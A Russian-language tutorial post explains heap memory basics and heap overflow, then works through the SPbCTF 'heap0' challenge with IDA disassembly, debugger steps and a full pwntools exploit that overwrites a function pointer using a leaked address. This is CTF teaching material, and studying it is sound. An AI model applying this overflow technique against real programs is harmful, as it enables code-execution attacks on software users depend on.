
В реалиях нашего мира программисты пользуются ООП и предпочитают динамическую память, а не статическую. В нашей жизни, вне CTF, все работает именно в куче, потому что это удобно и практично. Речь пойдет о динамической памяти - куча (heap). Если взглянуть на статистику cvedetails, то можно увидеть, что большинство критических уязвимостей связаны именно с динамической памятью.

В цикле статей будет рассказано об устройстве кучи, атаках на них и все в духе бинарной эксплуатации.
Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.
Вот есть стек, куда попадают локальные переменные или аргументы функции, есть секция данных для глобальных переменных. Что попадает в кучу? Какие данные туда попадают? Примерно на такие примитивные вопросы и будем рассматривать в первой части.
Создание и особенности кучи
Создать кучу можно используя оператор new или функцию malloc()
ptr = malloc(100); // выделить 100 байт free(ptr); // очистить кучу
Есть еще realloc, которая объявляет новый размер. То есть, сначала память очищается free(), а потом аллоцирутеся malloc().
Например, выделили 10 байт и создалось место, называемое чанком (chunk), ptr1 = malloc(10)
------ | | | 10 | | | ------
Выделили еще 20 байт, ptr2 = malloc(20)
------ | | | 10 | | | ------ ------ | | | 20 | | | ------
Каждый вызов malloc, выделяет новый чанк в этой области памяти. Например, освободим первый чанк free(ptr)
------ | | | fr | | ee | ------ ------ | | | 20 | | | ------
Теперь создадим новый чанк ptr3 = malloc(10) и произойдет заполнение удаленного чанка
------ | | | 10 | | | ------ ------ | | | 20 | | | ------
Куча умеет создавать новые кусочки, используя старые, которые уже были освобождены.
Для чего она вообще нужна?
Куча нужна для динамического выделения памяти, когда заран��е неизвестен размер данных.
Для строчек. Если заранее не знаем, сколько нужно читать данных с файла
char *content = malloc(file_size).Для массивов, если неизвестно сколько данных надо обработать заранее
int *array = realloc(arr, n*sizeof(int))Для структур. Для примера программирования структур как стек, список и т.д.
list *head = malloc(sizeof(list)); head->next = malloc(sizeof(list))
В ООП. Все объекты в ООП и что может создавать новые экземпляры на куче
Object * obj = new Object(123);
Переполнение кучи
Для переполнения, следует знать от устройства кучи всего ничего. Все созданные чанки создаются друг за другом и они связаны. Об самой структуре чанка поговорим в следующих частях. Сейчас необходимо понять, что куча представляет из себя цепочку чанков

Таким образом, если переполнить первый чанк, то можно попасть в пространство второго, потом третьего и т.д. Получается не все так и сложно. Эта уязвимость сравнима с обычным переполнением буффера. Попробую продемонстрировать это на примере CTF-таска.
Практика
Для демонстрации переполнения кучи, взял таск с площадки SPbCTF, под названием heap0. Открывать J0llyTr0LLz нет смысла, поэтому сразу переходим к реверсу.
Реверсить буду как обычно в IDA. В функции main()

Происходит следующее:
Выделяется первый чанк размером
0x40и адрес присваивается переменнойvar10
mov edi, 40h ; '@' ; size call _malloc mov [rbp+var_10], rax
Выделяется второй чанк размером
0x8и туда помещается адрес функцииnowinner()Записываем данные в первый чанк
mov rax, [rbp+var_10] mov rdi, rax mov eax, 0 call _gets
Вызов функции, который сохранен во втором чанке
mov rax, [rbp+var_8] mov rdx, [rax] mov eax, 0 call rdx
Запущу edb-debugger, для демонстрации чанков и переполнения.
Создаем первый чанк и адрес возвращается в регистр rax


Пока что, чанк выглядит вот так:

Вот так, после создания второго чанка:

Как можно заметить, туда добавился адрес функции nowinner().
Дойдем до ввода данных и запишем туда, для начала, 16 символов

Данные записались. Теперь попробуем переполнить и перезаписать адрес. Просто введу 81 байт данных и вот результат

Перезаписал адрес, который содержится во втором чанке и далее программа б��дет пробовать вызвать адрес 0x560acc210041

Программа нам выводит различные утечки данных, с помощью которых можно легко получить флаг
data is at 0x560accc6b2a0, fp is at 0x560accc6b2f0, main at 0x560acc2171bb
Сплойт будет выглядеть так:
from pwn import * exe = context.binary = ELF('./heap0.elf') def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) elif args.EDB: return process(['edb','--run',exe.path] + argv, *a, **kw) else: return process([exe.path] + argv, *a, **kw) gdbscript = ''' tbreak main continue '''.format(**locals()) io = start() io.recvuntil(b'main at 0x') leak = io.recv(12) leak = leak[:len(leak) - 2] leak += "89".encode() leak = int(leak,16) log.info("0x{:x}".format(leak)) junk = b'A'*80 payload = junk + p64(leak) io.sendline(payload) io.interactive()
На этом первое знакомство с кучей закончилось. В последующих частях будем углубляться в понятие аллокаторов, чанков и разбираться с атаками.
